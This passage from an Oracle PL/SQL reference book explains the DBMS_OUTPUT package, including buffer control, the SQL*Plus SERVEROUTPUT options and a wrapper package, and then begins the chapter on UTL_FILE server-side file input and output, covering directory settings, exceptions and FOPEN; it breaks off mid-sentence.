  • If you use DBMS_OUTPUT in SQL*Plus, you may find that any leading blanks are automatically truncated. Also, attempts to display blank or NULL lines are completely ignored.

There are workarounds for almost every one of these drawbacks. The solution invariably requires the construction of a package that encapsulates and hides DBMS_OUTPUT. This technique is explained in the Section 6.1.6" section.

6.1.2 Enabling and Disabling Output

The ENABLE and DISABLE procedures enable and disable output from the DBMS_OUTPUT.PUT_LINE (and PUT and PUTF) procedure.

6.1.2.1 The DBMS_OUTPUT.ENABLE procedure

The ENABLE procedure enables calls to the other DBMS_OUTPUT modules. If you do not first call ENABLE, then any other calls to the package modules are ignored. The specification for the procedure is,

PROCEDURE DBMS_OUTPUT.ENABLE  (buffer_size IN INTEGER DEFAULT 20000);

where buffer_size is the size of the buffer that will contain the information stored by calls to PUT and PUT_LINE. The buffer size can be as large as 1,000,000 bytes. You can pass larger values to this procedure without raising an error, but doing so will have no effect besides setting the buffer size to its maximum.

You can call ENABLE more than once in a session. The buffer size will be set to the largest size passed in any call to ENABLE. In other words, the buffer size is not necessarily set to the size specified in the last call.

If you want to make sure that the DBMS_OUTPUT package is enabled in a program you are testing, add a statement like this one to the start of the program:

DECLARE
   ... declarations ...
BEGIN
   DBMS_OUTPUT.ENABLE (1000000);
   ...
END;

6.1.2.2 The DBMS_OUTPUT.DISABLE procedure

The DISABLE procedure disables all calls to the DBMS_OUTPUT package (except for ENABLE). It also purges the buffer of any remaining lines of information. Here's the specification for the procedure:

PROCEDURE DBMS_OUTPUT.DISABLE;

SQL*Plus and SQL*DBA offer a native command, SET SERVEROUTPUT, with which you can disable the package without having to execute the DISABLE procedure directly. You can use the command as follows:

SQL> SET SERVEROUTPUT OFF

This command is equivalent to the following PL/SQL statement:

DBMS_OUTPUT.DISABLE;

After you execute this command, any calls to PUT_LINE and other modules will be ignored, and you will not see any output.

6.1.2.3 Enabling output in SQL*Plus

Most developers use DBMS_OUTPUT almost exclusively in the SQL*Plus environment. To enable output from calls to PUT_LINE in SQL*Plus, you will use the SET SERVEROUTPUT command,

SET SERVEROUTPUT ON SIZE 1000000

or:

SET SERVEROUTPUT ON

Each of these calls the DBMS_OUTPUT.ENABLE procedure.

I have found it useful to add SET SERVEROUTPUT ON SIZE 1000000 to my login.sql file, so that the package is automatically enabled whenever I go into SQL*Plus. (I guess that tells you how often I have to debug my code!)

You should also check the Oracle documentation for SQL*Plus to find out about the latest set of options for the SET SERVEROUTPUT command. As of Oracle8, the documentation shows the following syntax for this SET command:

SET SERVEROUT[PUT] {OFF|ON}
   [SIZE n] [FOR[MAT] {WRA[PPED]| WOR[D_WRAPPED]|TRU[NCATED]}]

In other words, you have these options when you enable DBMS_OUTPUT in SQL*Plus:

SET SERVEROUTPUT OFF

Turns off the display of text from DBMS_OUTPUT.

SET SERVEROUTPUT ON

Turns on the display of text from DBMS_OUTPUT with the default 2000-byte buffer. This is a very small size for the buffer; I recommend that you always specify a size when you call this command.

SET SERVEROUTPUT ON SIZE NNNN

Turns on the display of text from DBMS_OUTPUT with the specified buffer size (maximum of 1,000,000 bytes).

SET SERVEROUTPUT ON FORMAT WRAPPED

(Available in Oracle 7.3 and later only.) Specifies that you want the text displayed by DBMS_OUTPUT wrapped at the SQL*Plus line length. The wrapping occurs regardless of word separation. This will also stop SQL*Plus from stripping leading blanks from your text. You can also specify a SIZE value with this variation.

SET SERVEROUTPUT ON FORMAT WORD_WRAPPED

(Available in Oracle 7.3 and later only.) Specifies that you want the text displayed by DBMS_OUTPUT wrapped at the SQL*Plus line length. This version respects integrity of "words." As a result, lines will be broken in a way that keeps separate tokens intact. This will also stop SQL*Plus from stripping leading blanks from your text. You can also specify a SIZE value with this variation.

SET SERVEROUTPUT ON FORMAT TRUNCATED

(Available in Oracle 7.3 and later only.) Specifies that you want the text displayed by DBMS_OUTPUT to be truncated at the SQL*Plus line length; the rest of the text will not be displayed. This will also stop SQL*Plus from stripping leading blanks from your text. You can also specify a SIZE value with this variation.

6.1.3 Writing to the DBMS_OUTPUT Buffer

You can write information to the buffer with calls to the PUT, NEW_LINE, and PUT_LINE procedures.

6.1.3.1 The DBMS_OUTPUT.PUT procedure

The PUT procedure puts information into the buffer, but does not append a newline marker into the buffer. Use PUT if you want to place information in the buffer (usually with more than one call to PUT), but not also automatically issue a newline marker. The specification for PUT is overloaded, so that you can pass data in its native format to the package without having to perform conversions,

PROCEDURE DBMS_OUTPUT.PUT (A VARCHAR2);
PROCEDURE DBMS_OUTPUT.PUT (A NUMBER);
PROCEDURE DBMS_OUTPUT.PUT (A DATE);

where A is the data being passed.

6.1.3.1.1 Example

In the following example, three simultaneous calls to PUT place the employee name, department ID number, and hire date into a single line in the DBMS_OUTPUT buffer:

DBMS_OUTPUT.PUT (:employee.lname || ', ' || :employee.fname);
DBMS_OUTPUT.PUT (:employee.department_id);
DBMS_OUTPUT.PUT (:employee.hiredate);

If you follow these PUT calls with a NEW_LINE call, that information can then be retrieved with a single call to GET_LINE.

6.1.3.2 The DBMS_OUTPUT.PUT_LINE procedure

The PUT_LINE procedure puts information into the buffer and then appends a newline marker into the buffer. The specification for PUT_LINE is overloaded, so that you can pass data in its native format to the package without having to perform conversions:

PROCEDURE DBMS_OUTPUT.PUT_LINE (A VARCHAR2);
PROCEDURE DBMS_OUTPUT.PUT_LINE (A NUMBER);
PROCEDURE DBMS_OUTPUT.PUT_LINE (A DATE);

The PUT_LINE procedure is the one most commonly used in SQL*Plus to debug PL/SQL programs. When you use PUT_LINE in these situations, you do not need to call GET_LINE to extract the information from the buffer. Instead, SQL*Plus will automatically dump out the DBMS_OUTPUT buffer when your PL/SQL block finishes executing. (You will not see any output until the program ends.)

Of course, you can also call DBMS_OUTPUT programs directly from the SQL*Plus command prompt, and not from inside a PL/SQL block, as shown in the following example.

6.1.3.2.1 Example

Suppose that you execute the following three statements in SQL*Plus:

SQL> exec DBMS_OUTPUT.PUT ('I am');
SQL> exec DBMS_OUTPUT.PUT (' writing ');
SQL> exec DBMS_OUTPUT.PUT ('a ');

You will not see anything, because PUT will place the information in the buffer, but will not append the newline marker. When you issue this next PUT_LINE command,

SQL> exec DBMS_OUTPUT.PUT_LINE ('book!');

you will then see the following output:

I am writing a book!

All of the information added to the buffer with the calls to PUT waited patiently to be flushed out with the call to PUT_LINE. This is the behavior you will see when you execute individual calls at the SQL*Plus command prompt to the put programs.

If you place these same commands in a PL/SQL block,

BEGIN
   DBMS_OUTPUT.PUT ('I am');
   DBMS_OUTPUT.PUT (' writing ');
   DBMS_OUTPUT.PUT ('a ');
   DBMS_OUTPUT.PUT_LINE ('book');
END;
/

the output from this script will be exactly the same as that generated by this single call:

SQL> exec DBMS_OUTPUT.PUT_LINE ('I am writing a book!');

6.1.3.3 The DBMS_OUTPUT.NEW_LINE procedure

The NEW_LINE procedure inserts an end-of-line marker in the buffer. Use NEW_LINE after one or more calls to PUT in order to terminate those entries in the buffer with a newline marker. Here's the specification for NEW_LINE:

PROCEDURE DBMS_OUTPUT.NEW_LINE;

6.1.4 Retrieving Data from the DBMS_OUTPUT Buffer

You can use the GET_LINE and GET_LINES procedures to extract information from the DBMS_OUTPUT buffer. If you are using DBMS_OUTPUT from within SQL*Plus, however, you will never need to call either of these procedures. Instead, SQL*Plus will automatically extract the information and display it on the screen for you.

6.1.4.1 The DBMS_OUTPUT.GET_LINE procedure

The GET_LINE procedure retrieves one line of information from the buffer. Here's the specification for the procedure:

PROCEDURE DBMS_OUTPUT.GET_LINE
   (line OUT VARCHAR2,
    status OUT INTEGER);

The parameters are summarized in the following table.

Parameter | Description
line | Retrieved line of text
status | GET request status

The line can have up to 255 bytes in it, which is not very long. If GET_LINE completes successfully, then status is set to 0. Otherwise, GET_LINE returns a status of 1.

Notice that even though the PUT and PUT_LINE procedures allow you to place information into the buffer in their native representations (dates as dates, numbers and numbers, and so forth), GET_LINE always retrieves the information into a character string. The information returned by GET_LINE is everything in the buffer up to the next newline character. This information might be the data from a single PUT_LINE or from multiple calls to PUT.

6.1.4.1.1 Example

The following call to GET_LINE extracts the next line of information into a local PL/SQL variable:

FUNCTION get_next_line RETURN VARCHAR2
IS
   return_value VARCHAR2(255);
   get_status INTEGER;
BEGIN
   DBMS_OUTPUT.GET_LINE (return_value, get_status);
   IF get_status = 0
   THEN
      RETURN return_value;
   ELSE
      RETURN NULL;
   END IF;
END;

6.1.4.2 The DBMS_OUTPUT.GET_LINES procedure

The GET_LINES procedure retrieves multiple lines from the buffer with one call. It reads the buffer into a PL/SQL string table. Here's the specification for the procedure:

PROCEDURE DBMS_OUTPUT.GET_LINES
   (lines OUT DBMS_OUTPUT.CHARARR,
    numlines IN OUT INTEGER);

The parameters for this procedure are summarized in the following table.

Parameter | Description
lines | PL/SQL array where retrieved lines are placed
numlines | Number of individual lines retrieved from the buffer and placed into the array

The lines parameter is a PL/SQL table TYPE declared in the specification of the package. It is described at the beginning of this chapter.

The values retrieved by GET_LINES are placed in the first numlines rows in the table, starting from row one. As indicated in the PL/SQL table structure, each line (row in the table) may contain up to 255 bytes.

Notice that numlines is an IN OUT parameter. The IN aspect of the parameter specifies the number of lines to retrieve. Once GET_LINES is done retrieving data, however, it sets numlines to the number of lines actually placed in the table. If you ask for ten rows and there are only six in the buffer, then you need to know that only the first six rows of the table are defined.

Notice also that even though the PUT and PUT_LINE procedures allow you to place information into the buffer in their native representations (dates as dates, numbers and numbers, and so forth), GET_LINES always retrieves the information into a character string. The information in each line returned by GET_LINES is everything in the buffer up to the next newline character. This information might be the data from a single PUT_LINE or from multiple calls to PUT.

While GET_LINES is provided with the DBMS_OUTPUT package, it is not needed to retrieve information from the DBMS_OUTPUT buffer -- at least when used inside SQL*Plus. In this interactive query tool, you simply execute calls to PUT_LINE, and when the PL/SQL block terminates, SQL*Plus will automatically dump the buffer to the screen.

6.1.4.2.1 Example

The following script demonstrates both the kind of code you would write when using the GET_LINES procedure, and also the way in which the PL/SQL table is filled:

/* Filename on companion disk: getlines.tst */*
DECLARE
  output_table DBMS_OUTPUT.CHARARR;  /* output_buf_tab */
  a_line VARCHAR2(10) := RPAD('*',10,'*');
  status INTEGER;
  max_lines CONSTANT NUMBER := 15;
BEGIN
   output_table (0) := 'ABC';
   output_table (12) := 'DEF';

   /* Output 10 lines */
   FOR linenum IN 1..10
   LOOP
      DBMS_OUTPUT.PUT_LINE (a_line ||  TO_CHAR (linenum);
   END LOOP;
   /* retrieve 15 lines, status will receive the line count */
   status := max_lines;
   DBMS_OUTPUT.GET_LINES ( output_table, status);
   DBMS_OUTPUT.PUT_LINE ('lines retrieved= ' || status));

   FOR linenum in 0..max_lines
   LOOP
       BEGIN
          DBMS_OUTPUT.PUT_LINE
             (linenum || ':' || NVL (output_table(linenum),'<null>') );
       EXCEPTION
          WHEN OTHERS
          THEN
             DBMS_OUTPUT.PUT_LINE (linenum || ':' || sqlerrm );
       END;
    END LOOP;
EXCEPTION
   WHEN OTHERS
   THEN
       DBMS_OUTPUT.PUT_LINE ('Exception, status=' || status);
       DBMS_OUTPUT.PUT_LINE (SQLERRM );
END;
/

Here is the output from the execution of this script:

lines retrieved= 10
0:ORA-01403: no data found
1:**********1
2:**********2
3:**********3
4:**********4
5:**********5
6:**********6
7:**********7
8:**********8
9:**********9
10:**********10
11:<null>
12:ORA-01403: no data found
13:ORA-01403: no data found
14:ORA-01403: no data found
15:ORA-01403: no data found

You can therefore deduce the following rules:

  1. The PL/SQL table is filled starting with row 1.

  2. If DBMS_OUTPUT.GET_LINES finds N lines of data to pass to the PL/SQL table, it sets row N+1 in that table to NULL.

  3. All other rows in the PL/SQL table are set to "undefined." In other words, any other rows that might have been defined before the call to GET_LINES are deleted.

6.1.5 Tips on Using DBMS_OUTPUT

As noted at the beginning of the chapter, DBMS_OUTPUT comes with several handicaps. The best way to overcome these handicaps is to create your own layer of code over the built-in package. This technique is explored in the Section 6.1.6" section.

Regardless of the use of an encapsulation package, you should keep the following complications in mind as you work with DBMS_OUTPUT:

  1. If your program raises an unhandled exception, you may not see any executed output from PUT_LINE, even if you enabled the package for output.

    This can happen because the DBMS_OUTPUT buffer will not be flushed until it is full or until the current PL/SQL block completes its execution. If a raised exception never gets handled, the buffer will not be flushed. As a result, calls to the DBMS_OUTPUT.PUT_LINE module might never show their data. So if you are working with DBMS_OUTPUT.PUT_LINE and are frustrated because you are not seeing the output you would expect, make sure that you have:

    1. Enabled output from the package by calling SET SERVEROUTPUT ON in SQL*Plus.

    2. Placed an exception section with a WHEN OTHERS handler in the outer block of your code (usually some sort of test script) so that your output can be flushed to your terminal by SQL*Plus.

  2. When package state has been reinitialized in your session, DBMS_OUTPUT is reset to "not enabled."

    Packages can be reset to their initial state with a call to DBMS_SESSION.RESET_PACKAGE. (See Chapter 11, Managing Session Information, for more information about this program.) You might call this procedure yourself, but that is unlikely. A more common scenario for resetting package states is when an error is raised in your session that causes packages to be reset to their initial state. Here is the error for which you need to beware:

        ERROR at line 1:/*
    ORA-04068: existing state of packages has been discarded
    ORA-04061: existing state of package "PKG.PROC" has been invalidated
    ORA-04065: not executed, altered or dropped package "PKG.PROC"
    ORA-06508: PL/SQL: could not find program unit being called

If you get this error and simply continue with your testing, you may be surprised to find that you are not getting any output. If you remember that DBMS_OUTPUT relies on package variables for its settings, this makes perfect sense. So when you get the preceding error, you should immediately "re-enable" DBMS_OUTPUT with a command such as the following:

SQL> set serveroutput on size 1000000 format wrapped

I usually just re-execute my login.sql script, since I may be initializing several different packages:

SQL> @login.sql

When will you get this error? I have found that it occurs when I have multiple sessions connected to Oracle. Suppose that I am testing program A in session USER1. I run it and find a bug. I fix the bug and recompile program A in session USER2 (the owner of the code). When I try to execute program A from session USER1 again, it raises the ORA-04068 error.

If you do encounter this error, don't panic. Just reset your package variables and run the program again. It will now work fine; the error is simply the result of a quirk in Oracle's automatic recompilation feature.

6.1.6 DBMS_OUTPUT Examples

This section contains several longer examples of DBMS_OUTPUT operations.

6.1.6.1 Encapsulating DBMS_OUTPUT

Sure, it was nice of Oracle Corporation to give us the DBMS_OUTPUT package. Without it, as users of PL/SQL 1.0 found, we are running blind when we execute our code. As is the case with many of the developer-oriented utilities from Oracle, however, the DBMS_OUTPUT package is not a polished and well-planned tool. It offers nothing more than the most basic functionality, and even then it is crippled in some important ways. When I started to use it in real life (or whatever you might call the rarified atmosphere of authoring a book on software development), I found DBMS_OUTPUT.PUT_LINE to be cumbersome and limiting in ways.

I hated having to type "DBMS_OUTPUT.PUT_LINE" whenever I simply wanted to display some information. That's a mouthful and a keyboardful. I felt insulted that they hadn't even taken the time to overload for Booleans, requiring me to write silly IF logic just to see the value of a Boolean variable or function. I also found myself growing incensed that DBMS_OUTPUT would actually raise a VALUE_ERROR exception if I tried to pass it a string with more than 255 characters. I had enough errors in my code without having to worry about DBMS_OUTPUT adding to my troubles.

I decided that all this anger and frustration was not good for me. I needed to move past this nonconstructive lashing out at Oracle. I needed, in short, to fix my problem. So I did -- with a package of my own. I am not going to provide a comprehensive explanation of my replacement package, but you can read about it (there are actually two of them) in my other books as follows:

Oracle PL/SQL Programming

The Companion Disk section on "Package Examples" introduces you to the do package, which contains the do.pl procedure, a substitute for DBMS_OUTPUT.PUT_LINE. The do.sps and do.spb files in the book you are reading also contain the source code for this package.

Advanced Oracle PL/SQL Programming with Packages

Chapter 7, p: A Powerful Substitute for DMBS_OUTPUT, presents the p package and the p.l procedure (I told you I didn't like typing those long program names!), a component of the PL/Vision library.[2]

[2] A version of PL/Vision is available through a free download from the http://www.revealnet.com site.

The following section shows you the basic elements involved in constructing an encapsulation around DBMS_OUTPUT.PUT_LINE, which compensates for many of its problems. You can pursue building one of these for yourself, but I would strongly suggest that you check out the PL/Vision p package. That will leave you more time to build your own application-specific code.

6.1.6.2 Package specification for a DBMS_OUTPUT encapsulator

The absolute minimum you need for such an encapsulator package is an overloading of the "print" procedure for dates, strings, and numbers. Let's at least add Booleans to the mix in this prototype:

/* Filename on companion disk: prt.spp */*
CREATE OR REPLACE PACKAGE prt
IS
   c_prefix CONSTANT CHAR(1) := '*';
   c_linelen CONSTANT INTEGER := 80;

   PROCEDURE ln (val IN VARCHAR2);
   PROCEDURE ln (val IN DATE);
   PROCEDURE ln (val IN NUMBER);
   PROCEDURE ln (val IN BOOLEAN);
END;
/

The prefix constant is concatenated to the beginning of any string to be displayed to avoid the problem of truncated spaces and ignored lines in SQL*Plus. The line length constant is used when the string is longer than 255 bytes. Finally, each of the prt.ln procedures prints a different type of data.

A complete implementation of this package would allow you to change the line length and the prefix, specify a date format for conversion, and so on. Again, check out the p package of PL/Vision for such a package.

Here is the body of the prt package:

/* Filename on companion disk: prt.spp */*
CREATE OR REPLACE PACKAGE BODY prt
IS
   PROCEDURE ln (val IN VARCHAR2)
   IS
   BEGIN
      IF LENGTH (val) > 255
      THEN
         PLVprs.display_wrap (val, c_linelen);
      ELSE
         DBMS_OUTPUT.PUT_LINE (c_prefix || val);
      END IF;
   EXCEPTION
      WHEN OTHERS
      THEN
         DBMS_OUTPUT.ENABLE (1000000);
         DBMS_OUTPUT.PUT_LINE (c_prefix || val);
   END;
   PROCEDURE ln (val IN DATE)
   IS
   BEGIN
      ln (TO_CHAR (val));
   END;
   PROCEDURE ln (val IN NUMBER)
   IS
   BEGIN
      ln (TO_CHAR (val));
   END;
   PROCEDURE ln (val IN BOOLEAN)
   IS
   BEGIN
      IF val
      THEN
         ln ('TRUE');
      ELSIF NOT val
      THEN
         ln ('FALSE');
      ELSE
         ln ('NULL BOOLEAN');
      END IF;
   END;
END;
/

Here are a few things to notice about the package implementation:

  • The string version of prt.ln is the "core" print procedure. The other three programs all call that one, after they have formatted the string appropriately.

  • The Boolean version of prt.ln simply performs the same IF logic you would have to write if you were using DBMS_OUTPUT. By hiding it inside the prt procedure, though, nobody else has to write that kind of code again. Plus, it handles NULL values.

  • The string version of prt.ln contains all the complex logic. For long strings, it relies on the PL/Vision display wrap procedure of the PLVprs package.[3] For strings with fewer than 256 characters, it calls DBMS_OUTPUT.PUT_LINE.

    [3] Available through a free download from the http://www.revealnet.com site.

  • As an added feature, if the attempt to display using DBMS_OUTPUT.PUT_LINE raises an exception, prt.ln assumes that the problem might be that the buffer is too small. So it increases the buffer to the maximum possible value and then tries again. I believe that it is very important for developers to make the extra effort to increase the usefulness of our code.

The prt package should give you a solid idea about the way to encapsulate a built-in package inside a package of your own construction.

Previous: 5.7 Oracle AQ Examples | Oracle Built-in Packages | Next: 6.2 UTL_FILE: Reading and Writing Server-side Files
5.7 Oracle AQ Examples | Book Index | 6.2 UTL_FILE: Reading and Writing Server-side Files
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.2 UTL_FILE: Reading and Writing Server-side Files

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

6.2 UTL_FILE: Reading and Writing Server-side Files

UTL_FILE is a package that has been welcomed warmly by PL/SQL developers. It allows PL/SQL programs to both read from and write to any operating system files that are accessible from the server on which your database instance is running. File I/O was a feature long desired in PL/SQL, but available only with PL/SQL Release 2.3 and later (Oracle 7.3 or Oracle 8.0). You can now read ini files and interact with the operating system a little more easily than has been possible in the past. You can load data from files directly into database tables while applying the full power and flexibility of PL/SQL programming. You can generate reports directly from within PL/SQL without worrying about the maximum buffer restrictions of DBMS_OUTPUT

6.2.1 Getting Started with UTL_FILE

The UTL_FILE package is created when the Oracle database is installed. The utlfile.sql script (found in the built-in packages source code directory, as described in Chapter 1) contains the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym UTL_FILE for the package and grants EXECUTE privilege on the package to public. All Oracle users can reference and make use of this package.

6.2.1.1 UTL_FILE programs

Table 6-2 shows the UTL_FILE program names and descriptions.

Table 6.2: UTL_FILE Programs
Name | Description | Use in SQL
FCLOSE | Closes the specified files | No
FCLOSE_ALL | Closes all open files | No
FFLUSH | Flushes all the data from the UTL_FILE buffer | No
FOPEN | Opens the specified file | No
GET_LINE | Gets the next line from the file | No
IS_OPEN | Returns TRUE if the file is already open | No
NEW_LINE | Inserts a newline mark in the file at the end of the current line | No
PUT | Puts text into the buffer | No
PUT_LINE | Puts a line of text into the file | No
PUTF | Puts formatted text into the buffer | No

6.2.1.2 Trying out UTL_FILE

Just getting to the point where your first call to UTL_FILE's FOPEN function works can actually be a pretty frustrating experience. Here's how it usually goes.

You read about UTL_FILE and you are excited. So you dash headlong into writing some code like this:

DECLARE
   config_file UTL_FILE.FILE_TYPE;
BEGIN
   config_file := UTL_FILE.FOPEN ('/tmp', 'newdata.txt', 'W');

   ... lots of write operations ...

   ... and no exception section ...
END;
/

and then this is all you get from your "quick and dirty script" in SQL*Plus:

SQL> @writefile.sql
DECLARE
*
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "SYS.UTL_FILE", line 91
ORA-06512: at "SYS.UTL_FILE", line 146
ORA-06512: at line 4

What is going wrong? This error message certainly provides little or no useful information. So you go back to the documentation, thoroughly chastened, and (over time) discover the following:

  • You need to modify the INIT.ORA parameter initialization file of your instance. You will have to contact your database administrator and have him or her make the changes (if willing) and then "bounce" the database.

  • You need to get the format of the parameter entries correct. That alone used to take me days!

  • You need to add exception sections to your programs to give yourself a fighting chance at figuring out what is going on.

I hope that the information in this chapter will help you avoid most, if not all, of these frustrations and gotchas. But don't give up! This package is well worth the effort.

6.2.1.3 File security

UTL_FILE lets you read and write files accessible from the server on which your database is running. So you could theoretically use UTL_FILE to write right over your tablespace data files, control files, and so on. That is of course a very bad idea. Server security requires the ability to place restrictions on where you can read and write your files.

UTL_FILE implements this security by limiting access to files that reside in one of the directories specified in the INIT.ORA file for the database instance on which UTL_FILE is running.

When you call FOPEN to open a file, you must specify both the location and the name of the file, in separate arguments. This file location is then checked against the list of accessible directories.

Here's the format of the parameter for file access in the INIT.ORA file:

utl_file_dir = <directory>

Include a parameter for utl_file_dir for each directory you want to make accessible for UTL_FILE operations. The following entries, for example, enable four different directories in UNIX:

utl_file_dir = /tmp
utl_file_dir = /ora_apps/hr/time_reporting
utl_file_dir = /ora_apps/hr/time_reporting/log
utl_file_dir = /users/test_area

To bypass server security and allow read/write access to all directories, you can use this special syntax:

utl_file_dir = *

You should not use this option on production systems. In a development system, this entry certainly makes it easier for developers to get up and running on UTL_FILE and test their code. However, you should allow access to only a few specific directories when you move the application to production.

Some observations on working with and setting up accessible directories with UTL_FILE follow:

  • Access is not recursive through subdirectories. If the following lines were in your INIT.ORA file, for example,

        utl_file_dir = c:\group\dev1
    utl_file_dir = c:\group\prod\oe
    utl_file_dir = c:\group\prod\ar

    then you would not be able to open a file in the c:\group\prod\oe\reports subdirectory.

  • Do not include the following entry in UNIX systems:

        utl_file_dir = .

    This would allow you to read/write on the current directory in the operating system.

  • Do not enclose the directory names within single or double quotes.

  • In the UNIX environment, a file created by FOPEN has as its owner the shadow process running the Oracle instance. This is usually the "oracle" owner. If you try to access these files outside of UTL_FILE, you will need the correct privileges (or be logged in as "oracle") to access or change these files.

  • You should not end your directory name with a delimiter, such as the forward slash in UNIX. The following specification of a directory will result in problems when trying to read from or write to the directory:

        utl_file_dir = /tmp/orafiles/

6.2.1.4 Specifying file locations

The location of the file is an operating system-specific string that specifies the directory or area in which to open the file. The location you provide must have been listed as an accessible directory in the INIT.ORA file for the database instance.

The INIT.ORA location is a valid directory or area specification, as shown in these examples:

  • In Windows NT:

        'k:\common\debug'

  • In UNIX:

        '/usr/od2000/admin'

Notice that in Windows NT, the backslash character (\) is used as a delimiter. In UNIX, the forward slash (/) is the delimiter. When you pass the location in the call to UTL_FILE.FOPEN, you provide the location specification as it appears in the INIT.ORA file (unless you just provided * for all directories in the initialization file). And remember that in case-sensitive operating systems, the case of the location specification in the initialization file must match that used in the call to UTL_FILE.FOPEN.

Here are some examples:

  • In Windows NT:

        file_id := UTL_FILE.FOPEN ('k:\common\debug', 'trace.lis', 'R');

  • In UNIX:

        file_id := UTL_FILE.FOPEN ('/usr/od2000/admin', 'trace.lis', 'W');

Your location must be an explicit, complete path to the file. You cannot use operating system-specific parameters such as environment variables in UNIX to specify file locations.

6.2.1.5 UTL_FILE exceptions

The package specification of UTL_FILE defines seven exceptions. The cause behind a UTL_FILE exception can often be difficult to understand. Here are the explanations Oracle provides for each of the exceptions:

NOTE: As a result of the way these exceptions are declared (as "user-defined exceptions"), there is no error number associated with any of the exceptions. Thus you must include explicit exception handlers in programs that call UTL_FILE if you wish to find out which error was raised. See the section Section 6.2.6.1, "Handling file I/O errors"" for more details on this process.

INVALID_PATH

The file location or the filename is invalid. Perhaps the directory is not listed as a utl_file_dir parameter in the INIT.ORA file (or doesn't exist as all), or you are trying to read a file and it does not exist.

INVALID_MODE

The value you provided for the open_mode parameter in UTL_FILE.FOPEN was invalid. It must be "A," "R," or "W."

INVALID_FILEHANDLE

The file handle you passed to a UTL_FILE program was invalid. You must call UTL_FILE.FOPEN to obtain a valid file handle.

INVALID_OPERATION

UTL_FILE could not open or operate on the file as requested. For example, if you try to write to a read-only file, you will raise this exception.

READ_ERROR

The operating system returned an error when you tried to read from the file. (This does not occur very often.)

WRITE_ERROR

The operating system returned an error when you tried to write to the file. (This does not occur very often.)

INTERNAL_ERROR

Uh-oh. Something went wrong and the PL/SQL runtime engine couldn't assign blame to any of the previous exceptions. Better call Oracle Support!

Programs in UTL_FILE may also raise the following standard system exceptions:

NO_DATA_FOUND

Raised when you read past the end of the file with UTL_FILE.GET_LINE.

VALUE_ERROR

Raised when you try to read or write lines in the file which are too long. The current implementation of UTL_FILE limits the size of a line read by UTL_FILE.GET_LINE to 1022 bytes.

INVALID_MAXLINESIZE

Oracle 8.0 and above: raised when you try to open a file with a maximum linesize outside of the valid range (between 1 through 32767).

In the following descriptions of the UTL_FILE programs, I list the exceptions that can be raised by each individual program.

6.2.1.6 UTL_FILE nonprogram elements

When you open a file, PL/SQL returns a handle to that file for use within your program. This handle has a datatype of UTL_FILE.FILE_TYPE currently defined as the following:

TYPE UTL_FILE.FILE_TYPE IS RECORD (id BINARY_INTEGER);

As you can see, UTL_FILE.FILE_TYPE is actually a PL/SQL record whose fields contain all the information about the file needed by UTL_FILE. However, this information is for use only by the UTL_FILE package. You will reference the handle, but not any of the individual fields of the handle. (The fields of this record may expand over time as UTL_FILE becomes more sophisticated.)

Here is an example of how to declare a local file handle based on this type:

DECLARE
   file_handle UTL_FILE.FILE_TYPE;
BEGIN
   ...

6.2.1.7 UTL_FILE restrictions and limitations

While UTL_FILE certainly extends the usefulness of PL/SQL, it does have its drawbacks, including:

  • Prior to Oracle 8.0, you cannot read or write a line of text with more than 1023 bytes. In Oracle 8.0 and above, you can specify a maximum line size of up to 32767 when you open a file..

  • You cannot delete files through UTL_FILE. The best you can do is empty a file, but it will still be present on the disk.

  • You cannot rename files. The best you can do is copy the contents of the file to another file with that new name.

  • You do not have random access to lines in a file. If you want to read the 55th line, you must read through the first 54 lines. If you want to insert a line of text between the 1,267th and 1,268th lines, you will have to (a) read those 1,267 lines, (b) write them to a new file, (c) write the inserted line of text, and (d) read/write the remainder of the file. Ugh.

  • You cannot change the security on files through UTL_FILE.

  • You cannot access mapped files. Generally, you will need to supply real directory locations for files if you want to read from or write to them.

You are probably getting the idea. UTL_FILE is a basic facility for reading and writing server-side files. Working with UTL_FILE is not always pretty, but you can usually get what you need done with a little or a lot of code.

6.2.1.8 The UTL_FILE process flow

The following sections describe each of the UTL_FILE programs, following the process flow for working with files. That flow is described for both writing and reading files.

In order to write to a file you will (in most cases) perform the following steps:

  1. Declare a file handle. This handle serves as a pointer to the file for subsequent calls to programs in the UTL_FILE package to manipulate the contents of this file.

  2. Open the file with a call to FOPEN, which returns a file handle to the file. You can open a file to read, replace, or append text.

  3. Write data to the file using the PUT, PUTF, or PUT_LINE procedures.

  4. Close the file with a call to FCLOSE. This releases resources associated with the file.

To read data from a file you will (in most cases) perform the following steps:

  1. Declare a file handle.

  2. Declare a VARCHAR2 string buffer that will receive the line of data from the file. You can also read directly from a file into a numeric or date buffer. In this case, the data in the file will be converted implicitly, and so it must be compatible with the datatype of the buffer.

  3. Open the file using FOPEN in read mode.

  4. Use the GET_LINE procedure to read data from the file and into the buffer. To read all the lines from a file, you would execute GET_LINE in a loop.

  5. Close the file with a call to FCLOSE.

6.2.2 Opening Files

Use the FOPEN and IS_OPEN functions when you open files via UTL_FILE.

NOTE: Using the UTL-FILE package, you can only open a maximum of ten files for each Oracle session.

6.2.2.1 The UTL_FILE.FOPEN function

The FOPEN function opens the specified file and returns a file handle that you can then use to manipulate the file. Here's the header for the function:

 All PL/SQL versions:           Oracle 8.0 and above only:
 FUNCTION UTL_FILE.FOPEN (      FUNCTION UTL_FILE.FOPEN (
    location     IN VARCHAR2,      location     IN VARCHAR2,
    filename     IN VARCHAR2,      filename     IN VARCHAR2,
    open_mode    IN VARCHAR2)      open_mode    IN VARCHAR2,
 RETURN file_type;                 max_linesize IN BINARY_INTEGER)
                                RETURN file_type;

Parameters are summarized in the following table.

Parameter | Description
location | Location of the file
filename | Name of the file
openmode | Mode in which the file is to be opened (see the following modes)
max_linesize | The maximum number of characters per line, including the newline character, for this file. Minimum is 1, maximum is 32767

You can open the file in one of three modes:

R

Open the file read-only. If you use this mode, use UTL_FILE's GET_LINE procedure to read from the file.

W

Open the file to read and write in replace mode. When you open in replace mode, all existing lines in the file are removed. If you use this mode, then you can use any of the following UTL_FILE programs to modify the file: PUT, PUT_LINE, NEW_LINE, PUTF, and FFLUSH.

A

